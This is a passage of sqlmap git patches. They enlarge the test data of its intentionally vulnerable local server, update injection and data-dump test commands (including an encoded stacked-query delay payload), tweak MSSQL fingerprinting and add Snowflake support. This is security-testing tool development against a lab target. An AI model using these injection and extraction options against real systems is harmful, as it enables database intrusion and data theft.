content: - application/json: - schema: - type: object - properties: - success: - type: boolean - example: true - options: - type: array - items: - type: object /scan/{taskid}/data: get: description: Retrieve the scan resulting data @@ -220,24 +295,3 @@ paths: success: type: boolean example: true - /task/{taskid}/delete: - get: - description: Delete an existing task - parameters: - - in: path - name: taskid - required: true - schema: - type: string - description: Scan task ID - responses: - '200': - description: OK - content: - application/json: - schema: - type: object - properties: - success: - type: boolean - example: true From bc0d2a11a3aba5c7fa9239b1194ffd2ecdd5b408 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 9 Jan 2026 17:01:00 +0100 Subject: [PATCH 021/135] Minor update --- data/txt/sha256sums.txt | 6 +++--- lib/core/decorators.py | 11 +++++++++++ lib/core/settings.py | 2 +- lib/request/basic.py | 1 + 4 files changed, 16 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a9782a33081..3c23a99f85b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -173,7 +173,7 @@ a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compa a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py e396b7971d38896e0e20b973a3a6a3fbc3171d080a21bc6e66a65bee452fd69c lib/core/datatype.py -35e99a327a357e22dcbcd5229a347102dfc58ff8105b420afdeffc8236a9ecf4 lib/core/decorators.py +e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 86fa0ffa7a3e7a7141eab730e3981faf6f0249125ea9a29a57aaa8b65b7503f9 lib/core/dicts.py 186f0331d66e861a942817a3321156a93a6f66c34a19ce90ec1d10aac8bc1cac lib/core/dump.py @@ -189,7 +189,7 @@ f5272cda54f7cdd07fb6154d5a1ed1f1141a2a4f39b6a85d3f325fd60ac8dc9a lib/core/enums 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -3b56bc9e795809f99cf502cc0f0c1c5b046f03720a6fd43192add592c5e90fdd lib/core/settings.py +b30135d16324a48ad69bd02ef6fe000b62f1afe4b99cc4f20f756256a341b916 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -209,7 +209,7 @@ c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/hand 4ca378496510a02c0184b45107889625dc7faf459073e83b3520c66674049af4 lib/parse/payloads.py 80d26a30abe948faf817a14f746cc8b3e2341ea8286830cccaae253b8ac0cdff lib/parse/sitemap.py 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py -a63147dff1fd4675c800122768d9d6564ef4b2f8f8d57abc2799c6bfe7a52c48 lib/request/basic.py +a1c638493ecdc5194db7186bbfed815c6eed2344f2607cac8c9fa50534824266 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 2daf0ce19eacda64687f441c90ef8da51714c3e8947c993ba08fb4ecdc4f5287 lib/request/comparison.py 626bb6f3316a906a4629c0feb8ecbbcf473fb59e5bc532603c35b6b8f63f1deb lib/request/connect.py diff --git a/lib/core/decorators.py b/lib/core/decorators.py index 12b60a64fcc..e8fbe4b6ccc 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -103,6 +103,17 @@ def _(*args, **kwargs): return _ def lockedmethod(f): + """ + Decorates a function or method with a reentrant lock (only one thread can execute the function at a time) + + >>> @lockedmethod + ... def recursive_count(n): + ... if n <= 0: return 0 + ... return n + recursive_count(n - 1) + >>> recursive_count(5) + 15 + """ + lock = threading.RLock() @functools.wraps(f) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1fe297e88ff..4152e0bf8b9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.19" +VERSION = "1.10.1.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index ef8a6d2cd49..758f993ca61 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -248,6 +248,7 @@ def checkCharEncoding(encoding, warn=True): return encoding +@lockedmethod def getHeuristicCharEncoding(page): """ Returns page encoding charset detected by usage of heuristics From a995e1afb441a903bd2ee129b9f56fa4407f3131 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 10 Jan 2026 11:37:39 +0100 Subject: [PATCH 022/135] Minor update of vuln testing --- data/txt/sha256sums.txt | 6 ++-- extra/vulnserver/vulnserver.py | 52 +++++++++++++++++++++++++++++++++- lib/core/settings.py | 2 +- lib/core/testing.py | 10 +++---- 4 files changed, 60 insertions(+), 10 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 3c23a99f85b..2338ea03115 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -160,7 +160,7 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py -6ce9405808514d27e7600c4d37f0bacca99205df732f1319170efffccb1ee1ad extra/vulnserver/vulnserver.py +9e5e4d3d9acb767412259895a3ee75e1a5f42d0b9923f17605d771db384a6f60 extra/vulnserver/vulnserver.py b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller/action.py e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller/checks.py 430475857a37fd997e73a47d7485c5dd4aa0985ef32c5a46b5e7bff01749ba66 lib/controller/controller.py @@ -189,11 +189,11 @@ f5272cda54f7cdd07fb6154d5a1ed1f1141a2a4f39b6a85d3f325fd60ac8dc9a lib/core/enums 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -b30135d16324a48ad69bd02ef6fe000b62f1afe4b99cc4f20f756256a341b916 lib/core/settings.py +187bbf8ec4e825ddfb378cd0be4a614e7656ea0eb7a9a0727b32712601c43275 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py -3167680c58037217ae1a0c4f65d278dbe5d72c8837ed209c725451670dde53ae lib/core/testing.py +b942d164a8a22ff19a99fde94410cfb3434b0496ceb1fcb0a319e7cc6b6d2e9b lib/core/testing.py cf4dca323645d623109a82277a8e8a63eb9abb3fff6c8a57095eb171c1ef91b3 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 10719f5ca450610ad28242017b2d8a77354ca357ffa26948c5f62d20cac29a8b lib/core/update.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index fd38763ad1f..769108f928d 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -53,7 +53,32 @@ INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny'); INSERT INTO users (id, name, surname) VALUES (3, 'wu', 'ming'); INSERT INTO users (id, name, surname) VALUES (4, NULL, 'nameisnull'); - INSERT INTO users (id, name, surname) VALUES (5, 'sqlmap/1.0-dev (https://sqlmap.org)', 'user agent header'); + INSERT INTO users (id, name, surname) VALUES (5, 'mark', 'lewis'); + INSERT INTO users (id, name, surname) VALUES (6, 'ada', 'lovelace'); + INSERT INTO users (id, name, surname) VALUES (7, 'grace', 'hopper'); + INSERT INTO users (id, name, surname) VALUES (8, 'alan', 'turing'); + INSERT INTO users (id, name, surname) VALUES (9, 'margaret','hamilton'); + INSERT INTO users (id, name, surname) VALUES (10, 'donald', 'knuth'); + INSERT INTO users (id, name, surname) VALUES (11, 'tim', 'bernerslee'); + INSERT INTO users (id, name, surname) VALUES (12, 'linus', 'torvalds'); + INSERT INTO users (id, name, surname) VALUES (13, 'ken', 'thompson'); + INSERT INTO users (id, name, surname) VALUES (14, 'dennis', 'ritchie'); + INSERT INTO users (id, name, surname) VALUES (15, 'barbara', 'liskov'); + INSERT INTO users (id, name, surname) VALUES (16, 'edsger', 'dijkstra'); + INSERT INTO users (id, name, surname) VALUES (17, 'john', 'mccarthy'); + INSERT INTO users (id, name, surname) VALUES (18, 'leslie', 'lamport'); + INSERT INTO users (id, name, surname) VALUES (19, 'niklaus', 'wirth'); + INSERT INTO users (id, name, surname) VALUES (20, 'bjarne', 'stroustrup'); + INSERT INTO users (id, name, surname) VALUES (21, 'guido', 'vanrossum'); + INSERT INTO users (id, name, surname) VALUES (22, 'brendan', 'eich'); + INSERT INTO users (id, name, surname) VALUES (23, 'james', 'gosling'); + INSERT INTO users (id, name, surname) VALUES (24, 'andrew', 'tanenbaum'); + INSERT INTO users (id, name, surname) VALUES (25, 'yukihiro','matsumoto'); + INSERT INTO users (id, name, surname) VALUES (26, 'radia', 'perlman'); + INSERT INTO users (id, name, surname) VALUES (27, 'katherine','johnson'); + INSERT INTO users (id, name, surname) VALUES (28, 'hady', 'lamarr'); + INSERT INTO users (id, name, surname) VALUES (29, 'frank', 'miller'); + INSERT INTO users (id, name, surname) VALUES (30, 'john', 'steward'); CREATE TABLE creds ( user_id INTEGER, @@ -65,6 +90,31 @@ INSERT INTO creds (user_id, password_hash) VALUES (3, 'f5a2950eaa10f9e99896800eacbe8275'); INSERT INTO creds (user_id, password_hash) VALUES (4, NULL); INSERT INTO creds (user_id, password_hash) VALUES (5, '179ad45c6ce2cb97cf1029e212046e81'); + INSERT INTO creds (user_id, password_hash) VALUES (6, '0f1e2d3c4b5a69788796a5b4c3d2e1f0'); + INSERT INTO creds (user_id, password_hash) VALUES (7, 'a1b2c3d4e5f60718293a4b5c6d7e8f90'); + INSERT INTO creds (user_id, password_hash) VALUES (8, '1a2b3c4d5e6f708192a3b4c5d6e7f809'); + INSERT INTO creds (user_id, password_hash) VALUES (9, '9f8e7d6c5b4a3928170605f4e3d2c1b0'); + INSERT INTO creds (user_id, password_hash) VALUES (10, '3c2d1e0f9a8b7c6d5e4f30291807f6e5'); + INSERT INTO creds (user_id, password_hash) VALUES (11, 'b0c1d2e3f405162738495a6b7c8d9eaf'); + INSERT INTO creds (user_id, password_hash) VALUES (12, '6e5d4c3b2a190807f6e5d4c3b2a1908f'); + INSERT INTO creds (user_id, password_hash) VALUES (13, '11223344556677889900aabbccddeeff'); + INSERT INTO creds (user_id, password_hash) VALUES (14, 'ffeeddccbbaa00998877665544332211'); + INSERT INTO creds (user_id, password_hash) VALUES (15, '1234567890abcdef1234567890abcdef'); + INSERT INTO creds (user_id, password_hash) VALUES (16, 'abcdef1234567890abcdef1234567890'); + INSERT INTO creds (user_id, password_hash) VALUES (17, '0a1b2c3d4e5f60718a9b0c1d2e3f4051'); + INSERT INTO creds (user_id, password_hash) VALUES (18, '51f04e3d2c1b0a9871605f4e3d2c1b0a'); + INSERT INTO creds (user_id, password_hash) VALUES (19, '89abcdef0123456789abcdef01234567'); + INSERT INTO creds (user_id, password_hash) VALUES (20, '76543210fedcba9876543210fedcba98'); + INSERT INTO creds (user_id, password_hash) VALUES (21, '13579bdf2468ace013579bdf2468ace0'); + INSERT INTO creds (user_id, password_hash) VALUES (22, '02468ace13579bdf02468ace13579bdf'); + INSERT INTO creds (user_id, password_hash) VALUES (23, 'deadbeefdeadbeefdeadbeefdeadbeef'); + INSERT INTO creds (user_id, password_hash) VALUES (24, 'cafebabecafebabecafebabecafebabe'); + INSERT INTO creds (user_id, password_hash) VALUES (25, '00112233445566778899aabbccddeeff'); + INSERT INTO creds (user_id, password_hash) VALUES (26, 'f0e1d2c3b4a5968778695a4b3c2d1e0f'); + INSERT INTO creds (user_id, password_hash) VALUES (27, '7f6e5d4c3b2a190807f6e5d4c3b2a190'); + INSERT INTO creds (user_id, password_hash) VALUES (28, '908f7e6d5c4b3a291807f6e5d4c3b2a1'); + INSERT INTO creds (user_id, password_hash) VALUES (29, '3049b791fa83e2f42f37bae18634b92d'); + INSERT INTO creds (user_id, password_hash) VALUES (30, 'd59a348f90d757c7da30418773424b5e'); """ LISTEN_ADDRESS = "localhost" diff --git a/lib/core/settings.py b/lib/core/settings.py index 4152e0bf8b9..4b03e1b0c6a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.20" +VERSION = "1.10.1.21" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index c6641911d0e..be66bf14bf7 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -64,13 +64,13 @@ def vulnTest(): ("-u --flush-session -H \"id: 1*\" --tables -t ", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), ("-u --flush-session --banner --invalid-logical --technique=B --predict-output --titles --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")), ("-u --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), - ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 5")), + ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 30")), ("-u --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)), ("-u --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), - ("-u --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")), - ("-u --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")), - ("-u --flush-session --technique=BU --all", ("5 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), - ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")), + ("-u --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")), + ("-u --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 31 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")), + ("-u --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), + ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")), ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), From e9a9d908379a472942bcb52b5c653854d4dd70bb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 11 Jan 2026 23:23:43 +0100 Subject: [PATCH 023/135] Minor patch to MsSQL fingerprinting --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- plugins/dbms/mssqlserver/fingerprint.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 2338ea03115..c54b511edf3 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ f5272cda54f7cdd07fb6154d5a1ed1f1141a2a4f39b6a85d3f325fd60ac8dc9a lib/core/enums 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -187bbf8ec4e825ddfb378cd0be4a614e7656ea0eb7a9a0727b32712601c43275 lib/core/settings.py +3b6399d22ede02c937ac211fdddfdfd36c67b797d05ef550244dd0f0d72ccce0 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -395,7 +395,7 @@ ba04af3683b9a6e29e8fa6b3bf436a57e59435cebb042414f2df82018d91599e plugins/dbms/m 6bdc774463ac87b1bd1b6a9d5c2346b7edbf40d9848b7870a30d1eaedde4fc51 plugins/dbms/mssqlserver/connector.py 52c19e9067f22f5c386206943d1807af4c661500bf260930a5986e9a180e96c7 plugins/dbms/mssqlserver/enumeration.py 838ed364ce46ae37fb5b02f47d2767f7d49595f81caf4bc51c1e25fd18e4aa65 plugins/dbms/mssqlserver/filesystem.py -c378802702f6ccc3855ec117845f758794ea18baed64f7b571009c6bd7ffc8dd plugins/dbms/mssqlserver/fingerprint.py +38ade085f9f1b227eda8c89f78e3ce869e8f430c98bef0cc7cbd2c7dcd60c24e plugins/dbms/mssqlserver/fingerprint.py 1ecde09e80d7b709a710281f4983a6831bc02ca3458ae0b97b28446d6db241b4 plugins/dbms/mssqlserver/__init__.py a89074020253365b6c95a4fa53e41fb0dc16f26a209b31f28e65910f26b81d21 plugins/dbms/mssqlserver/syntax.py 57f263084438e9b2ec2e62909fc51871e9eefb1a9156bbe87908592c5274b639 plugins/dbms/mssqlserver/takeover.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 4b03e1b0c6a..29b464ae5aa 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.21" +VERSION = "1.10.1.22" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 9a66e704160..18b4b0beb64 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -82,7 +82,7 @@ def checkDbms(self): if conf.direct: result = True else: - result = inject.checkBooleanExpression("UNICODE(SQUARE(NULL)) IS NULL") + result = inject.checkBooleanExpression("IS_SRVROLEMEMBER(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MSSQL From 279a9b33141b0184feb569153bb3f10112af5e73 Mon Sep 17 00:00:00 2001 From: Jaggar Henry <43768871+GoonTools@users.noreply.github.com> Date: Mon, 12 Jan 2026 05:59:00 -0500 Subject: [PATCH 024/135] Added "Snowflake" DBMS support (#5980) * Added SQL queries for 'Snowflake' DBMS * Added necessary constants for the 'Snowflake' DBMS * Added the 'Snowflake' DBMS to existing conditional which adds dynamic values to hardcoded statements (queries.xml) * Added plugin logic for the 'Snowflake' DBMS * Modified 'dbs' query to include 'ORDER BY' * Moved 'LIMIT' to appear before 'OFFSET' --- data/xml/queries.xml | 62 +++++++++++++++++ lib/controller/handler.py | 5 ++ lib/core/dicts.py | 2 + lib/core/enums.py | 2 + lib/core/settings.py | 4 +- plugins/dbms/snowflake/__init__.py | 29 ++++++++ plugins/dbms/snowflake/connector.py | 70 +++++++++++++++++++ plugins/dbms/snowflake/enumeration.py | 39 +++++++++++ plugins/dbms/snowflake/filesystem.py | 18 +++++ plugins/dbms/snowflake/fingerprint.py | 96 +++++++++++++++++++++++++++ plugins/dbms/snowflake/syntax.py | 23 +++++++ plugins/dbms/snowflake/takeover.py | 28 ++++++++ plugins/generic/databases.py | 4 +- plugins/generic/entries.py | 2 +- 14 files changed, 380 insertions(+), 4 deletions(-) create mode 100644 plugins/dbms/snowflake/__init__.py create mode 100644 plugins/dbms/snowflake/connector.py create mode 100644 plugins/dbms/snowflake/enumeration.py create mode 100644 plugins/dbms/snowflake/filesystem.py create mode 100644 plugins/dbms/snowflake/fingerprint.py create mode 100644 plugins/dbms/snowflake/syntax.py create mode 100644 plugins/dbms/snowflake/takeover.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index d497f3d8cf2..0091a66f3f6 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1786,4 +1786,66 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 3360a458b8d..e6736680bae 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -41,6 +41,7 @@ from lib.core.settings import SYBASE_ALIASES from lib.core.settings import VERTICA_ALIASES from lib.core.settings import VIRTUOSO_ALIASES +from lib.core.settings import SNOWFLAKE_ALIASES from lib.utils.sqlalchemy import SQLAlchemy from plugins.dbms.access.connector import Connector as AccessConn @@ -99,6 +100,8 @@ from plugins.dbms.vertica import VerticaMap from plugins.dbms.virtuoso.connector import Connector as VirtuosoConn from plugins.dbms.virtuoso import VirtuosoMap +from plugins.dbms.snowflake.connector import Connector as SnowflakeConn +from plugins.dbms.snowflake import SnowflakeMap def setHandler(): """ @@ -107,6 +110,7 @@ def setHandler(): """ items = [ + (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES, SnowflakeMap, SnowflakeConn), (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn), (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn), (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn), @@ -135,6 +139,7 @@ def setHandler(): (DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, FrontBaseConn), (DBMS.RAIMA, RAIMA_ALIASES, RaimaMap, RaimaConn), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, VirtuosoConn), + # TODO: put snowflake stuff on this line ] _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 4ab9728d6e2..29b249a1a84 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -39,6 +39,7 @@ from lib.core.settings import VERTICA_ALIASES from lib.core.settings import VIRTUOSO_ALIASES from lib.core.settings import CLICKHOUSE_ALIASES +from lib.core.settings import SNOWFLAKE_ALIASES FIREBIRD_TYPES = { 261: "BLOB", @@ -250,6 +251,7 @@ DBMS.FRONTBASE: (FRONTBASE_ALIASES, None, None, None), DBMS.RAIMA: (RAIMA_ALIASES, None, None, None), DBMS.VIRTUOSO: (VIRTUOSO_ALIASES, None, None, None), + DBMS.SNOWFLAKE: (SNOWFLAKE_ALIASES, None, None, "snowflake"), } # Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/ diff --git a/lib/core/enums.py b/lib/core/enums.py index 7c362aaaea1..689055a3c21 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -60,6 +60,7 @@ class DBMS(object): FRONTBASE = "FrontBase" RAIMA = "Raima Database Manager" VIRTUOSO = "Virtuoso" + SNOWFLAKE = "Snowflake" class DBMS_DIRECTORY_NAME(object): ACCESS = "access" @@ -90,6 +91,7 @@ class DBMS_DIRECTORY_NAME(object): FRONTBASE = "frontbase" RAIMA = "raima" VIRTUOSO = "virtuoso" + SNOWFLAKE = "snowflake" class FORK(object): MARIADB = "MariaDB" diff --git a/lib/core/settings.py b/lib/core/settings.py index 29b464ae5aa..266876bda87 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -292,6 +292,7 @@ FRONTBASE_SYSTEM_DBS = ("DEFINITION_SCHEMA", "INFORMATION_SCHEMA") RAIMA_SYSTEM_DBS = ("",) VIRTUOSO_SYSTEM_DBS = ("",) +SNOWFLAKE_SYSTEM_DBS = ("INFORMATION_SCHEMA",) # Note: () + () MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") @@ -322,10 +323,11 @@ FRONTBASE_ALIASES = ("frontbase",) RAIMA_ALIASES = ("raima database manager", "raima", "raimadb", "raimadm", "rdm", "rds", "velocis") VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso") +SNOWFLAKE_ALIASES = ("snowflake",) DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES) +SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES) SUPPORTED_OS = ("linux", "windows") DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), 